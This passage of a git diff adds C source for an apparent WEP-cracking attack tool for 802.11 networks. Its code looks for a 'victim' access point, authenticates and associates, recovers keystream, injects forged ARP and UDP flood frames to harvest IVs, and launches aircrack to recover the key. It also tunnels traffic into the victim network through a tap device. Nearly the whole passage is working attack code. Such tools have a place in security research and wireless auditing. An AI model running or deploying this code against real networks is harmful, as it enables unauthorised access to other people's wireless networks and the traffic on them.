struct timeval last_ip; + + // need to init packets... + if (send_arp == -1) { + unsigned char* body; + unsigned char* ptr; + struct ieee80211_frame* wh; + struct ip* ih; + struct udphdr* uh; + + memset(arp_pkt, 0, sizeof(arp_pkt)); + memset(udp_pkt, 0, sizeof(udp_pkt)); + + // construct ARP + wh = (struct ieee80211_frame*) arp_pkt; + fill_basic(wh); + + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; + memset(wh->i_addr3, 0xff, 6); + + body = (unsigned char*) wh + sizeof(*wh); + ptr = body; + ptr += 4; // iv + + do_llc(ptr, ETHERTYPE_ARP); + ptr += 8; + do_arp(ptr, ARPOP_REQUEST, mymac, myip, + "\x00\x00\x00\x00\x00\x00", netip); + + wepify(body, 8+8+20); + arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4; + assert(arp_len < sizeof(arp_pkt)); + + + // construct UDP + wh = (struct ieee80211_frame*) udp_pkt; + fill_basic(wh); + + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; + memcpy(wh->i_addr3, rtrmac, 6); + + body = (unsigned char*) wh + sizeof(*wh); + ptr = body; + ptr += 4; // iv + + do_llc(ptr, ETHERTYPE_IP); + ptr += 8; + + ih = (struct ip*) ptr; + ih->ip_hl = 5; + ih->ip_v = 4; + ih->ip_tos = 0; + ih->ip_len = htons(20+8+5); + ih->ip_id = htons(666); + ih->ip_off = 0; + ih->ip_ttl = 128; + ih->ip_p = IPPROTO_UDP; + ih->ip_sum = 0; + + inet_aton(myip, &ih->ip_src); + inet_aton(floodip, &ih->ip_dst); + + ih->ip_sum = in_cksum((unsigned short*)ih, 20); + + ptr += 20; + uh = (struct udphdr*) ptr; + uh->uh_sport = htons(floodsport); + uh->uh_dport = htons(floodport); + uh->uh_ulen = htons(8+5); + uh->uh_sum = 0; + + ptr += 8; + strcpy(ptr, "sorbo"); + + uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src, + &ih->ip_dst); + + wepify(body, 8+20+8+5); + udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4; + assert(udp_len < sizeof(udp_pkt)); + + // bootstrap + send_arp = 1; + + memset(&last_ip, 0, sizeof(last_ip)); + } + + if (send_arp == 1) { + struct timeval now; + unsigned long sec; + + if (gettimeofday(&now, NULL) == -1) { + perror("gettimeofday()"); + exit(1); + } + + sec = now.tv_sec - last_ip.tv_sec; + + if (sec < 5) + return; + + send_frame(tx, arp_pkt, arp_len); + send_arp = 0; + } + + else if (send_arp == 0) { + if (gettimeofday(&last_ip, NULL) == -1) { + perror("gettimeofday()"); + exit(1); + } + + send_frame(tx, udp_pkt, udp_len); + send_arp = 1; + } else assert(0); +} + +void send_arp(int tx, unsigned short op, unsigned char* srcip, + unsigned char* srcmac, unsigned char* dstip, + unsigned char* dstmac) { + + static unsigned char arp_pkt[128]; + unsigned char* body; + unsigned char* ptr; + struct ieee80211_frame* wh; + int arp_len; + + memset(arp_pkt, 0, sizeof(arp_pkt)); + + // construct ARP + wh = (struct ieee80211_frame*) arp_pkt; + fill_basic(wh); + + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; + memset(wh->i_addr3, 0xff, 6); + + body = (unsigned char*) wh + sizeof(*wh); + ptr = body; + ptr += 4; // iv + + do_llc(ptr, ETHERTYPE_ARP); + ptr += 8; + do_arp(ptr, op, srcmac, srcip, dstmac, dstip); + + wepify(body, 8+8+20); + arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4; + assert(arp_len < sizeof(arp_pkt)); + + send_frame(tx, arp_pkt, arp_len); +} + +void can_write(int tx) { + static char arp_ip[16]; + + switch (state) { + case FOUND_VICTIM: + send_auth(tx); + state = SENDING_AUTH; + break; + + case GOT_AUTH: + send_assoc(tx); + state = SENDING_ASSOC; + break; + + case GOT_ASSOC: + if (prgainfo.prga && prgainfo.len < min_prga) { + discover_prga(tx); + break; + } + + if (decryptstate.cipher) { + decrypt(tx); + break; + } + + if (!prgainfo.prga) + break; + + if (taptx_len) { + send_frame(tx, taptx, taptx_len); + taptx_len = 0; + break; + } + + // try to find rtr mac addr + if (netip && !rtrmac) { + char* ptr; + + strcpy(arp_ip, netip); + ptr = strchr(arp_ip, '.'); + assert(ptr); + ptr = strchr(++ptr, '.'); + assert(ptr); + ptr = strchr(++ptr, '.'); + assert(ptr); + strcpy(++ptr, "1"); + + if (gettimeofday(&arpsend, NULL) == -1) + err(1, "gettimeofday()"); + + time_print("Sending arp request for: %s\n", arp_ip); + send_arp(tx, ARPOP_REQUEST, myip, mymac, + arp_ip, "\x00\x00\x00\x00\x00\x00"); + + // XXX lame + rtrmac = (unsigned char*)1; + break; + } + + // need to generate traffic... + if (rtrmac > (unsigned char*)1 && netip) { + if (floodip) + flood_inet(tx); + else { + // XXX lame technique... anyway... im + // only interested in flood_inet... + + // could ping broadcast.... + send_arp(tx, ARPOP_REQUEST, myip, mymac, + arp_ip, "\x00\x00\x00\x00\x00\x00"); + } + + break; + } + + break; + } +} + +void try_crack() { + if (crack_pid) { + printf("\n"); + time_print("Warning... previous crack still running!\n"); + kill_crack(); + } + + if (weplog.fd) { + if (fsync(weplog.fd) == -1) + err(1, "fsync"); + } + + crack_pid = fork(); + + if (crack_pid == -1) + err(1, "fork"); + + // child + if (crack_pid == 0) { + char bitz[16]; + char* args[] = { "aircrack", "wep.log", NULL }; + char* argb[] = { "aircrack", "-n", bitz, "wep.log", NULL }; + char* envp[] = { NULL }; + char **arg; + +#if 1 + if (setsid() == -1) + err(1, "setsid"); +#endif + + close (1); + close (2); + + if (bits > 0) { + snprintf(bitz, sizeof(bitz)-1, "%d", bits); + arg = argb; + } + else + arg = args; + + /* NB: try local copy first; then installed dir */ + if (execve(CRACK_LOCAL_CMD, arg, envp) == -1) { + if (errno != ENOENT) + err(1, "execve(%s)", CRACK_LOCAL_CMD); + if (execve(CRACK_INSTALL_CMD, arg, envp) == -1) + err(1, "execve(%s)", CRACK_INSTALL_CMD); + } + + exit(1); + } + + // parent + printf("\n"); + time_print("Starting crack PID=%d\n", crack_pid); + if (gettimeofday(&crack_start, NULL) == -1) + err(1, "gettimeofday"); + + + // XXX lame... + if (wep_thresh == 3000000) { + crack_dur *= 10; + thresh_incr *= 10; + } + wep_thresh += thresh_incr; +} + +void open_tap() { + struct stat st; + int s; + struct ifreq ifr; + unsigned int flags; + + tapfd = open(TAP_DEV, O_RDWR); + if (tapfd == -1) { + printf("Can't open tap: %s\n", strerror(errno)); + exit(1); + } + if(fstat(tapfd, &st) == -1) { + perror("fstat()"); + exit(1); + } + + // feer + strcpy(tapdev, devname(st.st_rdev, S_IFCHR)); + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s == -1) { + perror("socket()"); + exit(1); + } + + // MTU + memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, tapdev); + ifr.ifr_mtu = 1500; + if (ioctl(s, SIOCSIFMTU, &ifr) == -1) { + perror("ioctl(SIOCSIFMTU)"); + exit(1); + } + + // set iface up + memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, tapdev); + if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { + perror("ioctl(SIOCGIFFLAGS)"); + exit(1); + } + + flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16); + flags |= IFF_UP; + + memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, tapdev); + ifr.ifr_flags = flags & 0xffff; + ifr.ifr_flagshigh = flags >> 16; + if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { + perror("ioctl(SIOCSIFFLAGS)"); + exit(1); + } + + close(s); + time_print("Opened tap device: %s\n", tapdev); +} + +void set_tap_mac(unsigned char* mac) { + int s; + struct ifreq ifr; + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s == -1) { + perror("socket()"); + exit(1); + } + + memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, tapdev); + + ifr.ifr_addr.sa_family = AF_LINK; + ifr.ifr_addr.sa_len = 6; + memcpy(ifr.ifr_addr.sa_data, mac, 6); + + if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) { + perror("ioctl(SIOCSIFLLADDR)"); + exit(1); + } + + close(s); + time_print("Set tap MAC to: %s\n", mac2str(mac)); +} + +void read_tap() { + unsigned char buf[4096]; + struct ether_header* eh; + struct ieee80211_frame* wh; + int rd; + unsigned char* ptr, *body; + int dlen; + + rd = read(tapfd, buf, sizeof(buf)); + if (rd == -1) { + perror("read()"); + exit(1); + } + dlen = rd - sizeof(*eh); + + assert(dlen > 0); + + if (dlen+8 > prgainfo.len) { + printf("\n"); + // XXX lame message... + time_print("Sorry... want to send %d but only got %d prga\n", + dlen, prgainfo.len); + return; + + } + + if (taptx_len) { + printf("\n"); + time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n"); + // XXX could not read instead and get rid of it in select... + } + + assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8)); + + eh = (struct ether_header*) buf; + + wh = (struct ieee80211_frame*) taptx; + memset(wh, 0, sizeof(*wh)); + fill_basic(wh); + + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; + + memcpy(wh->i_addr2, eh->ether_shost, 6); + memcpy(wh->i_addr3, eh->ether_dhost, 6); + + body = (unsigned char*) wh + sizeof(*wh); + ptr = body; + ptr += 4; // iv + + do_llc(ptr, ntohs(eh->ether_type)); + ptr += 8; + + memcpy(ptr, &buf[sizeof(*eh)], dlen); + + wepify(body, 8+dlen); + taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4; + + assert (taptx_len < sizeof(taptx)); +} + +int elapsedd(struct timeval *past, struct timeval *now) +{ + int el; + + el = now->tv_sec - past->tv_sec; + assert(el >= 0); + if (el == 0) { + el = now->tv_usec - past->tv_usec; + } else { + el = (el - 1)*1000*1000; + el += 1000*1000-past->tv_usec; + el += now->tv_usec; + } + + return el; +} + +void own(int wifd) { + unsigned char buf[4096]; + int rd; + fd_set rfd; + struct timeval tv; + char *pbar = "/-\\|"; + char *pbarp = &pbar[0]; + struct timeval lasthop; + struct timeval now; + unsigned int last_wep_count = 0; + struct timeval last_wcount; + struct timeval last_status; + int fd; + int largest; + + weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND); + if (weplog.fd == -1) { + weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT, + S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); + } + else { + time_print("WARNING: Appending in %s\n", WEP_FILE); + } + + if (weplog.fd == -1) { + perror("open()"); + exit(1); + } + + fd = open(PRGA_FILE, O_RDONLY); + if (fd != -1) { + time_print("WARNING: reading prga from %s\n", PRGA_FILE); + rd = read(fd, buf, sizeof(buf)); + if (rd == -1) { + perror("read()"); + exit(1); + } + if (rd >= 8) { + set_prga(buf, NULL, &buf[3], rd - 3); + } + + close(fd); + } + + fd = open(DICT_PATH, O_RDONLY); + if (fd == -1) { + time_print("Creating dictionary directory (%s)\n", DICT_PATH); + if (mkdir (DICT_PATH, 0755) == -1) { + perror("mkdir()"); + exit(1); + } + } + else + close(fd); + + open_tap(); + set_tap_mac(mymac); + + if (tapfd > wifd) + largest = tapfd; + else + largest = wifd; + + if (signal(SIGINT, &cleanup) == SIG_ERR) { + perror("signal()"); + exit(1); + } + if (signal (SIGTERM, &cleanup) == SIG_ERR) { + perror("signal()"); + exit(1); + } + + time_print("Looking for a victim...\n"); + if (gettimeofday(&lasthop, NULL) == -1) { + perror("gettimeofday()"); + exit(1); + } + + memcpy(&last_wcount, &lasthop, sizeof(last_wcount)); + memcpy(&last_status, &lasthop, sizeof(last_status)); + + while (1) { + if (gettimeofday(&now, NULL) == -1) { + perror("gettimeofday()"); + exit(1); + } + + /* check for relay timeout */ + if (fragstate.waiting_relay) { + int el; + + el = now.tv_sec - fragstate.last.tv_sec; + assert (el >= 0); + if (el == 0) { + el = now.tv_usec - fragstate.last.tv_usec; + } else { + el--; + + el *= 1000*1000; + el += 1000*1000 - fragstate.last.tv_usec; + el += now.tv_usec; + + if (el > (1500*1000)) { +// printf("\nLAMER timeout\n\n"); + free(fragstate.data); + fragstate.data = 0; + } + } + } + + /* check for arp timeout */ + if (rtrmac == (unsigned char*) 1) { + int el; + + el = elapsedd(&arpsend, &now); + if (el >= (1500*1000)) { + rtrmac = 0; + } + } + + // status bar + if ( (now.tv_sec > last_status.tv_sec ) || + ( now.tv_usec - last_status.tv_usec > 100*1000)) { + if (crack_pid && (now.tv_sec > last_status.tv_sec)) { + check_key(); + } + if (netip && prgainfo.len >= min_prga && + rtrmac > (unsigned char*) 1) { + time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d) \r", + weplog.packets, wep_thresh, + weplog.iv[0], weplog.iv[1], weplog.iv[2], + weplog.rate); + fflush(stdout); + } + else { + if (state == FIND_VICTIM) + time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp); + else if (decryptstate.cipher) { + int pos = decryptstate.prgainfo.len - 1; + unsigned char prga = decryptstate.prgainfo.prga[pos]; + assert(pos); + + time_print("Guessing PRGA %.2x (IP byte=%d) \r", + prga, decryptstate.cipher[pos] ^ prga); + } + else + time_print("%c\r", *pbarp); + fflush(stdout); + } + memcpy(&last_status, &now,sizeof(last_status)); + } + + // check if we are cracking + if (crack_pid) { + if (now.tv_sec - crack_start.tv_sec >= crack_dur) + kill_crack(); + } + + // check TX / retransmit + if (txstate.waiting_ack) { + unsigned int elapsed = now.tv_sec - + txstate.tsent.tv_sec; + elapsed *= 1000*1000; + elapsed += (now.tv_usec - txstate.tsent.tv_usec); + + if (elapsed >= ack_timeout) + send_frame(wifd, NULL, -1); + } + + // INPUT + // select + FD_ZERO(&rfd); + FD_SET(wifd, &rfd); + FD_SET(tapfd, &rfd); + tv.tv_sec = 0; + tv.tv_usec = 1000*10; + rd = select(largest+1, &rfd, NULL, NULL, &tv); + if (rd == -1) { + perror("select()"); + exit(1); + } + + // read + if (rd != 0) { + // wifi + if (FD_ISSET(wifd, &rfd)) { + rd = read(wifd, buf, sizeof(buf)); + if (rd == 0) + return; + if (rd == -1) { + perror("read()"); + exit(1); + } + + pbarp++; + if(!(*pbarp)) + pbarp = &pbar[0]; + // input + anal(buf, rd, wifd); + } + + // tap + if (FD_ISSET(tapfd, &rfd)) { + read_tap(); + } + } + + // check state and what we do next. + if (state == FIND_VICTIM) { + if (now.tv_sec > lasthop.tv_sec || + ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) { + int chan = chaninfo.chan; + chan++; + + if(chan > 11) + chan = 1; + + set_chan(chan); + memcpy(&lasthop, &now, sizeof(lasthop)); + } + } else { + // check if we need to write something... + if (!txstate.waiting_ack) + can_write(wifd); + + // roughly! + +#ifdef MORE_ACCURATE + if ( (now.tv_sec - last_wcount.tv_sec) >= 2) { + unsigned int elapsed; + int secs; + int packetz = weplog.packets - last_wep_count; + elapsed = 1000*1000; + + elapsed -= last_wcount.tv_usec; + + assert(elapsed >= 0); + elapsed += now.tv_usec; + + secs = now.tv_sec - last_wcount.tv_sec; + secs--; + if (secs > 0) + elapsed += (secs*1000*1000); + + weplog.rate = (int) + ((double)packetz/(elapsed/1000.0/1000.0)); +#else + if ( now.tv_sec > last_wcount.tv_sec) { + weplog.rate = weplog.packets - last_wep_count; +#endif + last_wep_count = weplog.packets; + memcpy(&last_wcount, &now, sizeof(now)); + + if (wep_thresh != -1 && weplog.packets > wep_thresh) + try_crack(); + } + } + } +} + +void start(char *dev) { + int fd; + + setup_if(dev); + + fd = open_bpf(dev, DLT_IEEE802_11_RADIO); + + own(fd); + +#if 0 + { + int i; + struct timeval tv; + set_chan(11); + for (i = 0; i < 10; i++) { + gettimeofday(&tv, NULL); + + send_ack(tx); +// usleep(500); + printf("%lu\n", tv.tv_usec); + } + } +#endif + + close(fd); +} + +void usage(char* pname) { + printf("Usage: %s \n", pname); + printf("-h\t\tthis lame message\n"); + printf("-i\t\t\n"); + printf("-s\t\t\n"); + printf("-m\t\t\n"); + printf("-n\t\t\n"); + printf("-r\t\t\n"); + printf("-a\t\t\n"); + printf("-c\t\tdo not crack\n"); + printf("-p\t\t\n"); + printf("-4\t\t64 bit key\n"); + printf("-v\t\tvictim mac\n"); + exit(0); +} + +void str2mac(unsigned char* dst, unsigned char* mac) { + unsigned int macf[6]; + int i; + + if( sscanf(mac, "%x:%x:%x:%x:%x:%x", + &macf[0], &macf[1], &macf[2], + &macf[3], &macf[4], &macf[5]) != 6) { + + printf("can't parse mac %s\n", mac); + exit(1); + } + + for (i = 0; i < 6; i++) + *dst++ = (unsigned char) macf[i]; +} + +int main(int argc, char *argv[]) { + unsigned char* dev = "ath0"; + unsigned char rtr[6]; + unsigned char vic[6]; + + int ch; + + if (gettimeofday(&real_start, NULL) == -1) { + perror("gettimeofday()"); + exit(1); + } + + chaninfo.s = -1; + victim.ssid = 0; + prgainfo.len = 0; + + memset(&txstate, 0, sizeof(txstate)); + memset(&fragstate, 0, sizeof(fragstate)); + memset(&decryptstate, 0, sizeof(decryptstate)); + memset(&weplog, 0, sizeof(weplog)); + + state = FIND_VICTIM; + + while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:")) != -1) { + switch (ch) { + case 'a': + str2mac(mymac, optarg); + break; + + case 's': + floodip = optarg; + break; + + case 'i': + dev = optarg; + break; + + case 'm': + strncpy(myip, optarg, sizeof(myip)-1); + myip[sizeof(myip)-1] = 0; + break; + + case 'n': + netip = optarg; + break; + + case 'r': + str2mac(rtr, optarg); + rtrmac = rtr; + break; + + case 'v': + str2mac(vic, optarg); + victim_mac = vic; + break; + + case 'c': + wep_thresh = -1; + break; + + case 'p': + min_prga = atoi(optarg); + break; + + case '4': + bits = 64; + break; + + default: + usage(argv[0]); + break; + } + } + + start(dev); + + if(chaninfo.s != -1) + close(chaninfo.s); + if(victim.ssid) + free(victim.ssid); + exit(0); +} -- cgit v1.1